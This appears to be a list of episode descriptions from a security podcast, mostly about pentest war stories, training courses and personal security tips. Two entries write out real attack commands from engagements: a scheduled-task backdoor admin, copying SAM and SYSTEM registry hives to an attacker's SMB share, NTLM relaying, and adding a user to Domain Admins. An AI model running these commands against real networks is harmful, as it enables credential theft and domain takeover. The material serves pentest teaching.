7 Minute Security

Today is my favorite pentest pwnage tale of 2026 – and maybe ever! It centers around an ADCS abuse via an attack path I'd never seen before. Tips include: Use Netexec to pull Powershell history Trying to steal reg hives and the EDR is made? Try copying them out to \\some-other-server.domain.com\share This post featured interesting use of the Responder -N option

Hola friends! Today's another fun tale of pentest pwnage. This time we started with no credentials and then set off on the bumpy journey from no-cred zero to domain admin hero! One specific reference in today's podcast that may be helpful to you is setting up ntlmrelayx to listen on port 3128.

Hello friends! We're back with a fun tale of internal network pentest pwnage. This one highlights how AI can be used (with some guardrails!) to automate the boring stuff – and even help you pick part DLLs to find gold nuggets! P.S. – I do recommend you check out our last three episodes that are all about securing your community, and please check out this Rolling Stone article which will give you a full picture of what has been going on in Minnesota as it relates to the occupation of ICE agents.

Hello friends, in today's edition of How to Secure Your Community, I give a brief recap of part 1 and part 2, and then dive into some cool phone shortcuts you can setup so that with a single tap, you can alert friends/family that you're having an encounter with law enforcement and may need an assist. Here's the things/links discussed: This great Rolling Stone article which features interviews and first-hand stories of ICE encounters here in Minnesota Fashlight.org page on security and privacy, which features some cool shortcuts you can setup on iPhone to alert friends/family that you're having a negative encounter with law enforcement (or anyone else) How I allegedly stole somebody's quesadilla while I was at the movie theater seeing Scream 7 The one time my wife had an outburst in the middle of a church service

Hello friends. Today's episode piggybacks off of last week's discussion of Operation Metro Surge and how it has affected the state of Minnesota. I also highly encourage you to read this Rolling Stone article which features interviews and first-hand stories of ICE encounters. And for those of you asking for a good org to support here in Minnesota, please support Haven Watch. They give rides/food to people who are detained by ICE and then cut loose – often without their jackets or phones – into the cold of winter with no ride home. Today I pivot more into the technical weeds and offer some tips on: Securing your Signal app config Hardening your iPhone config via lockdown mode

Hello friends, it's good to be back with you. I took a podcast hiatus in January to focus on helping communities affected by Operation Metro Surge. Today I share how my family and community has been affected by it. And then in future episodes of this series, I'll get more into some technical nuts and bolts on how to be a more secure community helper – such as tightening up security settings on apps you use, "hardening" your phone, increasing your personal security/privacy posture, and more.

Hi friends, I'm going to be taking a break from producing podcast episodes, as well as content over at 7MinSec.club. It's a temporary break, so please don't unsubscribe, unfollow, etc. I need some extra time/energy to invest in helping our friends/family/neighbors/communities in the Twin Cities. Important note: our professional services are not impacted by this. If you have security projects going on with us now (or want to in the future), nothing has changed there. It's business as usual. Looking forward to reconnecting with you and providing more updates as soon as possible.

Hey friends, in episode #649 I gave you my first impressions of Twingate. It's been a minute, so I thought I'd revisit Twingate (specifically this awesome Twingate LXC) and talk about how we're using it to (almost) entirely replace remote access to our datacenter servers and pentest dropboxes. Also, don't forget: Our pentest class is coming up at the end of the month – more info here. We do a Tuesday TOOLSday video every Tuesday over at 7MinSec Club.

After sharing a recent story about how a phishing campaign went south, I heard feedback from a lot of you. You either commiserated with my story, told me I wussed out, and/or had a difficult story of your own to share. So I thought I'd keep this momentum up and share another story of fail with you – this time about a Web app pentest that went south.

Today we're thrilled to announce the launch of LPLITE:GOAD (Light Pentest Live Interactive Training Experience: Game of Active Directory). The first class is coming up Tuesday, January 27 – Thursday, January 29 (9:00 a.m. – 1:00 p.m. CST each day). More information, pricing information and more can be found at training.7minsec.com. Today I talk about who should sign up for the course, what you should bring, and some of the awesome things you'll be doing should you choose to join me on this hacking adventure!

I'm so excited to share today's tale of pentest pwnage, because it brings back to life a coercion technique I thought wouldn't work against Windows 11! Spoiler alert: check out rpc2efs, as well as the 7MinSec Club episode we did on the topic this week. Also, our January Light Pentest LITE:GOAD class is open for registration here!

This might be obvious, but security is not all domain admin dancing and maximum pwnage. Sometimes, despite my best efforts, a security project does a faceplant. Today's episode focuses on a phishing campaign that had plenty of "bites" but got immediately shut down – for reasons I still don't understand.

Hola friends! My week has very much been about trying to turnaround pentest dropboxes as quickly as possible. In that adventure, I came across two time-saving discoveries: Using a Proxmox LXC as a persistent remote access method Writing a Proxmox post-deployment script that installs Splashtop on the Windows VM, and resets the admin passwords on both VMs, all from the Proxmox SSH console without touching the console on either VM If you feel some of this is better seen than said, on this week's 7MinSec.club Tuesday TOOLSday broadcast we show this in more detail.

Happy Thanksgiving week friends! Today we're celebrating a turkey and pie overload by sharing another fun tale of pentest pwnage! It involves using pygpoabuse to hijack a GPO and turn it into our pentesting puppet! Muahahahahaah!!!! Also: This week over at 7MinSec.club we looked at how to defend against some common SQL attacks We're very close to offering our brand new LPLITE:GOAD 3-day pentest course (likely in mid-January). It will get announced on 7MinSec.club first, so please make sure you're subscribed there (it's free!) Did you miss our talk called Should You Hire AI Run Your Next Pentest? Check it out on YouTube!

Hello friends, in today's episode I give an audio summary of a talk I gave this week at the MN GOVIT Symposium called "Should You Hire AI to Run Your Next Pentest?" It's not a pro-AI celebration, nor is it an anti-AI bashing. Rather, the talk focuses on my experiences using both free and paid AI services to guide me through an Active Directory penetration test.

Hello friends! This week I'm talking about what I'm working on this week, including: Preparing a talk called Should You Hire AI to Run Your Next Pentest for the Minnesota GOVIT Symposium. Playing with Lithnet AD password protection (I will show this live on next week's Tuesday TOOLSday). The Light Pentest logo contest has a winner!

Today is episode 700 of the 7MinSec podcast! Oh my gosh. My mom didn't think we could do it, but we did. Instead of a big blowout with huge news, giveaways and special guests, today is a pretty standard issue episode with a (nearly) 7-minute run time! The topic of today's episode is Pretender (which you can download here and read a lot more about here). The tool authors explain the motivation behind the tool: "We designed pretender with the single purpose to obtain machine-in-the-middle positions combining the techniques of mitm6 and only the name resolution spoofing portion of Responder." On a recent pentest, I used Pretender's "dry run" mode to find a hostname (that didn't exist) that a ton of machines were querying for, and poisoned requests just for that host. This type of targeted poisoning snagged me some helpful hashes that I was able to crack/relay, all while minimizing the risk of broader network disruption!

Today we discuss some pre-travel tips you can use before hopping on a plane to start a work/personal adventure. Tips include: Updating the family DR/BCP plan Lightening your purse/wallet Validating/testing backups and restores Ensuring your auto coverage is up to snuff

Today I give a quick review of the cloud version of ProjectDiscovery (not a sponsor!).

Today your pal and mine Joe "The Machine" Skeen pwn one of the two Ninja Hacker Academy domains! This pwnage included: Swiping service tickets in the name of high-priv users Dumping secrets from wmorkstations Disabling AV Extracting hashes of gMSA accounts We didn't get the second domain pwned, and so I was originally thinking about doing a part 5 in November, but changed my mind. Going forward, I'm thinking about doing longer, all-in-one hacking livestreams where we cover things like NHA from start to finish. My first thought would be to do one long livestream where we complete NHA start to finish. Would you be interested? Let me know at 7MinSec.club, as I'm thinking this could be an interesting piece of bonus content.

In today's episode: I got a new podcast doodad I really like JitBit as a security ticketing system (not a sponsor) The Threat Hunting with Velociraptor 2-day training was great. Highly recommend. I got inspired to take this class after watching the 1-hour primer here.

Today's tale of pentest pwnage involves: Using mssqlkaren to dump sensitive goodies out of SCCM Using a specific fork of bloodhound to find machines I could force password resets on (warning: don't do this in prod…read this!) Don't forget to check out our weekly Tuesday TOOLSday – live every Tuesday at 10 a.m. over at 7MinSec.club!

Hey friends, today I talk about how fun it was two combine two cool pentest tactics, put them in a blender, and move from local admin to mid-tier system admin access (with full control over hundreds of systems)! The Tuesday TOOLSday video we did over at 7minsec.club will help bring this to life as well.

This week your pal and mine Joe "The Machine" Skeen kept picking away at pwning Ninja Hacker Academy. To review where we've been in parts 1 and 2: We found a SQL injection on a box called SQL, got a privileged Sliver beacon on it, and dumped mimikatz info From that dump, we used the SQL box hash to do a BloodHound run, which revealed that we had excessive permissions over the Computers OU We useddacledit.py to give ourselves too much permission on the Computers OU Today we: Did an RBCD attack against the WEB box Requested a service ticket to give us local admin superpowers on WEB Performed a secretsdump against WEB Struggled to do a mimikatz dump at the end of the episode (after we ended the stream I realized I could've just done the mimikatz dump because I had local admin access! Oh well, we'll pick things up again during part 4 next month!)

Happy Friday! Today's another hot pile of pentest pwnage. To make it easy on myself I'm going to share the whole narrative that I wrote up for someone else: I was on a pentest where a DA account would sweep the networks every few minutes over SMB and hit my box. But SMB signing was on literally everywhere. The fine folks here recommended I try relaying to something NOT SMB, like MSSQL. This article had good context on that: https://www.guidepointsecurity.com/blog/beyond-the-basics-exploring-uncommon-ntlm-relay-attack-techniques/. I relayed the DA account to a SQL box that BloodHound said had a "session" from another DA. One part I can't explain is the first relay got me a shell in the context of NT SERVICE\MSSQLSERVER. That shell broke for some reason while I was sleeping that night, and the next relay landed as NT AUTHORITY\SYSTEM (!). The net command would let me add a new user, but BLOCK me trying to make that new user a local admin. However, a scheduled task did the trick: xp_cmdshell schtasks /create /tn "Maintenance" /tr "net local group administrators backdoor /add" /sc once /st 12:00 /ru SYSTEM /f and then xp_cmdshell schtasks /run /tn "Maintenance". Turns out a DA wasn't interactively logged in, but a DA account was configured to run a specific service. I learned those goodies are stored in LSA, so the next move was to use my local admin account to RDP in to the victim and create a shadow copy. That part went fine, but for the life of me I couldn't copy reg hives out of it – EDR was unhappy. In the end, the bizarre combo of things that did the trick was: Setup smbserver.py with username/password auth on my attacking box: smbserver.py -smb2support share . -username toteslegit -password 'DontMindMeLOL!' From the victim system, I did an mklink to the shadow copy: mklink /d C:\tempbackup \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy123\ From command prompt on the victim system, I authenticated to my rogue share: net use \\ATTACKER_IP\share /user:toteslegit DontMindMeLOL! Then I did a copy command for the first hive: copy SYSTEM \\my.attackingip\sys.test. EDR would kill this cmd.exe box IMMEDIATELY. However….the copy completed! I repeated this process to get SAM copied over as sam.test. Again, EDR nuked the cmd.exe window but copy completed!!!111!!!!! Finishing move: secretsdump -sam sam.test -system sys.test LOCAL

Holy schnikes, today might be my favorite tale of pentest pwnage ever. Do I say that almost every episode? yes. Do I mean it? Yes. Here are all the commands/links to supplement today's episode: Got an SA account to a SQL server through Snaffler-ing With that SA account, I learned how to coerce Web auth from within a SQL shell – read more about that here I relayed that Web auth with ntlmrelayx -smb2support -t ldap://dc --delegate-access --escalate-user lowpriv I didn't have a machine account under my control, so I did SPNless RBCD on my lowpriv account – read more about that here Using that technique, I requested a host service ticket for the SQL box, then used evil-winrm to remote in using the ticket From there I checked out who had interactive logons: Get-Process -IncludeUserName explorer | Select-Object UserName Then I queued up a fake task to elevate me to DA: schtasks /create /tn "TotallyFineTask" /tr 'net group "Domain Admins" lowpriv /add /domain' /sc once /st 12:00 /ru "DOMAIN\a-domain-admin" /it /f …and ran it: schtasks /run /tn "TotallyFineTask"

Today's tale of pentest pwnage is a classic case of "If your head is buried in the pentest sand, pop it out for a while, touch grass, and re-enumerate what you've already enumerated, because that can lead to absolute GOLD!"

Hello friends! Today your friend and mine, Joe "The Machine" Skeen joins me as we keep chipping away at pwning Ninja Hacker Academy! Today's pwnage includes: "Upgrading" our Sliver C2 connection to a full system shell using PrintSpoofer! Abusing nanodump to do an lsass minidump….and find our first cred. Analyzing BloodHound data to find (and own) excessive permissions against Active Directory objects

Today I talk about a subject I love while also driving me crazy at the same time: building a pentest training course! Specifically, I dissect a fun/frustrating GPO attack that I need to build very carefully so that every student can pwn it while also not breaking the domain for everybody else. I also talk about how three different flavors of AI failed me in solving a simple task.

Hi friends, we're doing something today we haven't done in a hot minute: take a dip into the 7MinSec mail bag! Today we cover these questions: If I'm starting a solo business venture as a security consultancy, is it a good idea to join forces with other solo security business owners and form a consortium of sorts? Have you ever had anything go catastrophically wrong during a pentest? Yes, and this is an important link in the story: https://github.com/fortra/impacket/issues/1436 What ever happened with the annoying apartment neighbor who stomped around like a rhino when you made any noise during COVID? What happened to the "difficult family situation" you vaguely talked about a few months ago that involved police and lawyers – did that ever get resolved?

Oh man, I'm so excited I can hardly sleep. Our new three-day (4 hours per day) training is getting closer to general release. I talk about the good/bad/ugly of putting together an attack-sensitive lab that students can abuse (but hopefully not break!), and the technical/curriculum-writing challenges that go along with it.

Today's kind of a "story time with your friend Brian" episode: a tale of how my neighbor almost got scammed out of $13k. The story has a lot of red flags we can all keep in mind to keep ourselves (as well as kids/friends/parents/etc.) safer from these types of shenanigans.

Hey friends, today we start pwning Ninja Hacker Academy – cool CTF-style lab that has you start with no cred and try to conquer domain admin on two domains!

This week I'm working on a mixed bag of fun security and marketing things: A pentest I'm stuck on My latest lab CTF obsession: Ninja Hacker Academy A cool "about 7MinSec" marketing video that was recorded in a pro studio!

Today's episode is a downer! We talk about things you might want to have buttoned up for when you are eventually not alive anymore: Living will Buried vs. cremated? Funeral plans Funeral PHOTOS? I also talk about how my dad broke his ribs while trying to break a chimpmunk, and how a freak 4-wheeler accident also had my ribs in agony.

Today Joe "The Machine" Skeen and I pwn the third and final realm in the world of GOAD (Game of Active Directory): essos.local! The way we go about it is to do a WinRM connection to our previously-pwned Kingslanding domain, coerce authentication out of MEEREEN (the DC for essos.local) and then capture/abuse the TGT with Rubeus! Enjoy.

Today I share some tips on creating a better purple team experience for your customers, including: Setting up communication channels and cadence Giving a heads-up on highs/criticals during testing (not waiting until report time) Where appropriate, record videos of attacks to give them more context

In today's tale of pentest pwnage I talk about a cool ADCS ESC3 attack – which I also did live on this week's Tuesday TOOLSday. I also talk about Exegol's licensing plans (and how it might break your pentest deployments if you use ProxmoxRox).

Today I share some tips on presenting a wide variety of content to a wide variety of audiences, including: Knowing your audience before you touch PowerPoint Understanding your presentation physical hookups and presentation surfaces A different way to screen-share via Teams that makes resolution/smoothness way better!

Hi everybody. Today I take it easy (because my brain is friend from the short week) to tell you about the time I think my HP laptop was compromised at the factory!

Today's fun tale of pentest pwnage discuss an attack path that would, in my opinion, probably be impossible to detect…until it's too late.

Hey friends! Today Joe "The Machine" Skeen and I tackled GOAD (Game of Active Directory) again – this time covering: SQL link abuse between two domains Forging inter-realm TGTs to conquer the coveted sevenkingdoms.local! Join us next month when we aim to overtake essos.local, which will make us rulers over all realms!

Today's tale of pentest pwnage is another great one! We talk about: The SPNless RBCD attack (covered in more detail in this episode) Importance of looking at all "branches" of outbound permissions that your user has in BloodHound This devilishly effective MSOL-account-stealing PowerShell script (obfuscate it first!) A personal update on my frustration with ringing in my ears

Today we're excited to release ProxmoxRox – a repo of info and scripts to help you quickly spin up Ubuntu and Windows VMs. Also, some important news items: 7MinSec.club in-person meeting is happening Wednesday, May 14! More details here. We did our second Tuesday TOOLSday this week and showed you some local privesc techniques when you have local admin on an endpoint